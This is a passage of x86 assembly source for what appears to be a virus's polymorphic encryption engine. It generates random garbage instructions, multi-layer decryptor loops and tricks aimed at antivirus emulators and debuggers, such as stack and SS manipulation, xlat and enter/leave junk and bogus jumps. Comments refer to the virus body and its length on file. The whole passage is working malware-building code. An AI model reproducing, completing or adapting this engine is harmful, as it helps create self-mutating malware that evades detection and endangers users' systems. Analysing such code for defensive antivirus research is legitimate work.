ch,4 use_mov_after: pop eax add ah,ch ; restore one push eax sub ah,ch add ah,cl shl al,3 ; * 8 add al,bl or al,0c0h ; mov some_reg,important_reg xchg al,ah stosw ; put the moving of regs call rnd_garbage pop eax ret sets_misc: call get_random ; type of sel mov al,0fh and ah,al add ah,090h call get_register cmp cl,3 ja cant_useset ; won't retry, so not too many stosw bswap eax ; rnd shr al,1 jc docs_ones add cl,08h ; has 2 set of ocodes docs_ones: shr al,1 jc low_ones add cl,04h ; high or low 8 low_ones: mov al,0c0h add al,cl stosb ret cant_useset: ; shld/shrd test ah,110b ; last bit used later jnz no_66p push eax mov al,066h ; with words stosb pop eax no_66p: shr ah,1 mov ah,0a4h jc do_shlld add ah,0ch-04h ; shrd do_shlld: cmp cl,7 jne noss_with_cl inc ah ; with immediate cl noss_with_cl: stosw call get_random and al,0111000b call get_register add al,cl add al,0c0h ; in ah we have rnd sh nr stosb test byte ptr [edi-2],01b ;was using cl? jnz wasnt_with_cl dec edi stosw wasnt_with_cl: ret xadd_cmpxchg: call get_random and ah,10h ; 10h or 00h jc np_nchk test byte ptr [ebp+r_used],01b ; is ax used? jnz home_xx ; if so no cmpxchg np_nchk: test al,110b jnz no_66pr mov al,66h stosb no_66pr: add ah,0b1h cmp byte ptr [edi-1],066h je cant_byterize and al,1 sub ah,al ; cmpxchg or xadd with b or notb cant_byterize: mov al,0fh stosw get_reg1: call get_register mov ch,cl get_reg2: call get_register mov al,0c0h test byte ptr [edi-1],01b ; was using bytes? jnz no_byteprob cmp ch,3 ; if bytes must be <= 3 ja get_reg1 cmp cl,3 ja get_reg2 push eax bswap eax ; high part of rnd and ax,010000000100b ; random +4 on both src and dest add cx,ax pop eax no_byteprob: shl cl,3 add al,cl add al,ch stosb home_xx: ret emu_stuffy: ; some stuff to try to fool emus call get_random and al,011111b ; not too often jnz keep_few_ae lea edx,[ebp + offset t_pushed] shr ah,1 jc regs_checking shr ah,1 jc xlat_generation stack_checking: ; check if stack seems consistent or not mov al,68h ; push immediate opcode stosb call get_random stosd push eax xor ch,ch ; nr of dword on stack xchg ch,byte ptr [edx] ; don't smash our stack call rnd_garbage call get_register mov al,cl call set_used mov bl,al add al,058h ; pop opcode stosb mov byte ptr [edx],ch ; can work on stack again call rnd_garbage call unset_used typepopchk: call get_random shr al,1 jnc check_posones and ah,100000b ; add/and reg32, not/neg imm jnz just_not_atesp dec dword ptr [esp] ; since add needs the neg value just_not_atesp: not dword ptr [esp] ; the imm add ah,0c0h jmp chksta_st check_posones: and ah,011000b jz typepopchk add ah,0e0h chksta_st: mov al,81h ; cmp/sub/xor reg32,imm add ah,bl stosw pop eax ; value to check with stosd check_okequ: mov bx,07574h jmp do_jumpzh regs_checking: shr ah,1 jc ss_play shr ah,1 jc mem_write ; ones just checking our regs (pointer and counter) consistency ; compare with zero in various ways and jump at the right code if != cmp dword ptr [edx - (offset t_pushed - offset w_loopbg)],00h ; not in the loop jne keep_few_ae bswap eax and eax,01b ; 0 or 1 add eax,ebp add eax,offset r_pointer ; so will be r_pointer or r_counter mov al,byte ptr [eax] inc al ; already initialized ? jz keep_few_ae dec al call is_used ; check that we aren't in moving thingy jz keep_few_ae reran_h: call get_random_al7 ; type of cmp cmp al,5 jae or_oring ; do or reg,reg lea ebx,[edx - (offset t_pushed - offset chk_counter)] add ebx,eax ; which one mov ah,byte ptr [ebx] mov al,83h add ah,cl stosw xor al,al stosb ; with a zero jmp do_jumpzh_reg or_oring: mov ax,0c00bh ; or eax,eax base add ah,cl ; have in cl the reg shl cl,3 add ah,cl ; both src and dest stosw do_jumpzh_reg: mov bx,07475h ; JZ and JNZ creation (considering BH is okay, while BL makes shit) do_jumpzh: call get_random shr al,1 ; do jz or jnz ? jnc do_jz_easily ; else we have to do a construction with ; more sense mov al,bl stosw too_long_redo: push dword ptr [edx] ; save stack situation mov ebx,edi ; jmp offset +1 call rnd_garbage call get_random ; random byte to break execution or ret shr ah,1 jc no_jmpback ; do a long jmp back to hide the loop one mov al,0e9h stosb or ax,0ffffh ; not too long bswap eax or ah,0f8h stosd jmp comehome no_jmpback: shr ah,1 jnc rndbyteuse mov al,0c3h ; a ret is quite polite for the emu :) rndbyteuse: stosb comehome: call rnd_garbage pop dword ptr [edx] mov eax,edi sub eax,ebx cmp eax,07fh ; see it is not too long for a short jmp jbe oki_lenght mov edi,ebx ; else retry jmp too_long_redo oki_lenght: mov byte ptr [ebx-1],al jmp keep_few_ae do_jz_easily: mov al,bh ; jz short to some random location stosw keep_few_ae: ret xlat_generation: ; is xlat emulated? anyway, hc garbage :) shr ah,1 jnc enter_generation test byte ptr [edx - (offset t_pushed - offset r_used)],01001b jnz keep_few_ae ; are ebx and eax unused ? mov al,0bbh ; mov ebx stosb push edx call get_address ; a decent mem addy stosd pop edx ; set ebx as used or byte ptr [edx - (offset t_pushed - offset r_used)],01000b call rnd_garbage ; and then unset ebx as used and byte ptr [edx - (offset t_pushed - offset r_used)],(NOT 1000b) mov al,0d7h ; xlat opcode stosb ret enter_generation: ; some more funny garbage mov al,0c8h ; enter stosb bswap eax and al,0111100b ; requested stack stosb xor al,al stosb stosb xchg al,byte ptr [edx] ; don't smash our stack mov ah,byte ptr [edx - (offset t_pushed - offset r_used)] ; no ebp or byte ptr [edx - (offset t_pushed - offset r_used)],100000b call rnd_garbage mov byte ptr [edx],al mov byte ptr [edx - (offset t_pushed - offset r_used)],ah mov al,0c9h ; leave stosb ret ss_play: ; opcodes that modify SS (actually they don't change it, but will ; make life harder for debuggers and some emus hopefully) shr ah,1 jc with_regs_ssplay ; first way, just push ss and then pop ss later mov al,016h ; push stosb xor ah,ah xchg ah,byte ptr [edx] ; don't smash our stack call rnd_garbage xchg ah,byte ptr [edx] inc al ; pop stosb ret with_regs_ssplay: ; mov reg,ss and later mov ss,reg and ah,011b jnz no_66pfss mov al,066h ; is oky anyway stosb no_66pfss: call get_register mov ax,0d08ch ; mov reg,ss add ah,cl stosw xchg eax,ecx call set_used ; don't mess with that one call rnd_garbage xchg eax,ebx call unset_used xchg eax,ecx inc al inc al ; mov ss,reg stosw ret mem_write: ; write a dd somewhere (back where we won't go :) ) and then check ; if the contents are the same after some garbage cmp byte ptr [edx - (offset t_pushed - offset m_writes)],01h ; don't nest, could work je exit_mw_r ; on same addy (should be) ; well we could even put this ; away :P inc byte ptr [edx - (offset t_pushed - offset m_writes)] call get_random ; get a register and ah,0111000b push eax add ah,05h mov al,089h stosw mov ecx,[edx - (offset t_pushed - offset t_inipnt)] restart_memsearch: mov ebx,[edx - (offset t_pushed - offset w_loopbg)] or ebx,ebx ; not in the loop jnz looping_alr cmp byte ptr [edx - (offset t_pushed - offset t_inacall)],01h ; could overwrite ourslv jne can_proceed_mw bad_mem: pop eax dec edi dec edi exit_mw: dec byte ptr [edx - (offset t_pushed - offset m_writes)] exit_mw_r: ret can_proceed_mw: mov ebx,edi ; else can do from here down, anyway ; we won't return to it and we are ; sure that layers are not back looping_alr: sub ebx,4 cmp ebx,ecx ; is there at least a bit of place? jbe bad_mem call get_random and eax,03ffh sub ebx,eax sub ebx,ecx jc restart_memsearch add ebx,[edx - (offset t_pushed - offset v_runnin)] mov eax,ebx stosd call get_random ; check what was written or not? shr al,1 ; to make less visibile maybe ;) pop eax ; the used reg jc exit_mw xchg al,ah shr al,3 call is_used pushf call set_used call rnd_garbage popf push ebx jnz wasntusedb mov ebx,eax ; if was used then nuthing, else call unset_used ; put reusable wasntusedb: shl al,3 add al,5 mov ah,03bh ; cmp reg, memval xchg ah,al stosw pop eax stosd ; the addy jmp check_okequ from_stack: ; read/write stuff from stack referencing ; with esp quite often found in windoze code call get_random ; type of operation and al,0fh cmp al,8 jae make_mov shl al,3 inc al jmp selected_op make_mov: mov al,89h selected_op: mov ch,al bswap eax mov al,byte ptr [ebp + t_pushed] ; 'our' dd on stack or al,al jz cant_write_anyway cmp byte ptr [ebp + t_inacall],01h je cant_write_anyway dec al mov cl,al call get_random_al7 cmp al,cl ja cant_write_anyway ; don't retry, so less writes mov ah,al jmp prepare_all cant_write_anyway: and ah,0111b add ch,02h prepare_all: mov al,ch stosb call get_register shl cl,3 or ah,ah jz dont_addesp ; just [esp], no + imm add cl,40h dont_addesp: add cl,04h xchg al,cl stosb mov al,24h stosb or ah,ah jz no_immesp shl ah,2 ; * 4, dword padded is always used mov al,ah stosb no_immesp: ret ; tables for various purposes garbage_mask equ 1fh garbage_number equ 14h garbage_offsets: dd offset call_subroutines dd offset gen_one_byters dd offset mov_registers dd offset mem_assign dd offset mem_mathops dd offset maths_immediate dd offset maths_immediate_short dd offset maths_registers dd offset rotating_imms dd offset notneg_register dd offset imm_assign dd offset inc_dec_reg dd offset xchg_regs dd offset test_regs dd offset temp_save_change dd offset cdq_jmps_savestack dd offset diff_movz dd offset sets_misc dd offset xadd_cmpxchg dd offset emu_stuffy dd offset from_stack one_byters db 090h,0fch,0fdh,0f8h,0f9h,0f5h,070h,080h change_jump db 098h,099h,0ebh,0e9h _math_imm: dw 008c1h ; ror d[ebx],imm dw 02881h ; sub d[ebx],imm dw 03081h ; xor d[ebx],imm dw 00081h ; add d[ebx],imm dw 000c1h ; rol d[ebx],imm _math_key: dw 008d3h ; ror d[ebx],cl dw 00029h ; sub d[ebx],eax dw 00031h ; xor d[ebx],eax dw 00001h ; add d[ebx],eax dw 000d3h ; rol d[ebx],cl ; cmp,or,xor,sub,add chk_counter db 0f8h,0c8h key_changers db 0e8h,0f0h,0c0h ; xor sub add db 0c0h,0c8h ; ror rol db 0d0h ; not db 040h,048h ; inc dec krappo_gen: call get_random ; generate krap bytes and eax,01fh jz exit_krappo xchg eax,ecx krap_stuffy: call get_random stosb loop krap_stuffy exit_krappo: ret get_random_al7: call get_random and eax,0111b ret get_random: push ebx push edx db 0b8h ; mov eax, seed dd 000h ; random seed, must be < im mov ebx,4096d ; ia mul ebx add eax,150889d ; ic adc edx,0 mov ebx,714025d ; im push ebx div ebx mov dword ptr [seed+ebp],edx xchg eax,edx cdq xor ebx,ebx dec ebx mul ebx ; * 2^32 - 1 pop ebx div ebx ; here we have a 0<=rnd<=2^32 pop edx pop ebx ret is_used: ; AL register push eax mov cl,al mov al,1 shl al,cl test byte ptr [r_used+ebp],al pop eax ; Z = register not used ; NZ = register used ret set_used: ; AL register push eax xor ah,ah bts word ptr [r_used+ebp],ax pop eax ret unset_used: ; BL register xor bh,bh btr word ptr [r_used+ebp],bx ret get_register: push eax reget_reg: call get_random_al7 call is_used jnz reget_reg ; check we aren't using it ; the is_used will put the reg in cl pop eax ret get_address: push esi mov ebx,edi lea esi,[offset v_runnin + ebp] db 081h,0ebh ; sub ebx,initial_edi t_inipnt dd 00h ; so we have actualy dec lenght add ebx,dword ptr [esi - (offset v_runnin - offset v_lenght)] mov edx,dword ptr [esi] db 0b1h ; mov cl, t_memand db 00h ; significant bits present add edx,ebx search_offset2: call get_random shl eax,cl shr eax,cl cmp eax,dword ptr [esi] ; is < starting off of poly? jb search_offset2 look_foroff2: cmp eax,edx ; upper border jbe ok_offset2 sub eax,ebx jmp look_foroff2 ok_offset2: pop esi ret ; how much memory does the ETMS need, so you can substract from the lenght ; of the virus on file of course _mem_space = (offset _mem_data_end - offset _mem_data_start) ; everything down there just in mem, don't save it in your file _mem_data_start: r_pointer db 00h ; register used as pointer r_counter db 00h ; register used as counter r_regkey db 00h ; register used as key, 20h use ; immediate as key r_used db 00000000b ; bits meaning 0 0 0 1 0 0 0 0 ; E E E E E E E E ; D S B S B D C A ; I I P P X X X X t_chgpnt db 00h ; changes to be made to pointer t_chgcnt db 00h ; changes to be made to counter t_chgkey db 00h ; changes to be made to key register t_chgmat db 00h ; changes to be made to operation t_exitjmp db 00h ; 01 has to create exit jmp, 00h no t_prejmp db 00h ; number of key changes b4 jmp m_writes db 00h ; already written mem in a loop? ; ne stavit nic tukaj ali menjaj inicializacijo! t_pntoff dd 00h ; offset added to pointer (00h if not ; added) t_cntoff dd 00h ; constant to be added to counter ; value t_fromend db 00h ; 00h from start, else from end t_countback db 00h ; 01h decrementing, else incrementing t_pushed db 00h ; pushed dwords t_maxjmps db 00h ; max jumps t_inacall db 00h ; into a call or not db 00h v_lenght dd 00h ; lenght v_virusp dd 00h ; pointer to body v_runnin dd 00h ; offset at which dec will run w_counter dd 00h ; where counter is assigned - 1 w_loopbg dd 00h ; where loop begins w_encrypt dd 00h ; pointer on current pos in encryptor orig_dx dd 00h t_chkpos dd 00h ; position of the checking jmp l_space equ (enc_max + 10h) tl_space equ (6 * l_space) layer_end dd 00h ; last nr of layer * layer dim layer_nr dd tl_space ; number of layers (0-6) * layer dim ; data structures for all the layers ; first layer is the last in mem and so on... enc_space: dd 00h ; initial key dd 00h ; counter dd 00h ; initial pointer dd 00h ; position of the pointer in dec db enc_max dup (90h) ; encryptor dd 4 dup (00h) db enc_max dup (90h) dd 4 dup (00h) db enc_max dup (90h) dd 4 dup (00h) db enc_max dup (90h) dd 4 dup (00h) db enc_max dup (90h) dd 4 dup (00h) db enc_max dup (90h) dd 4 dup (00h) db enc_max dup (90h) _mem_data_end: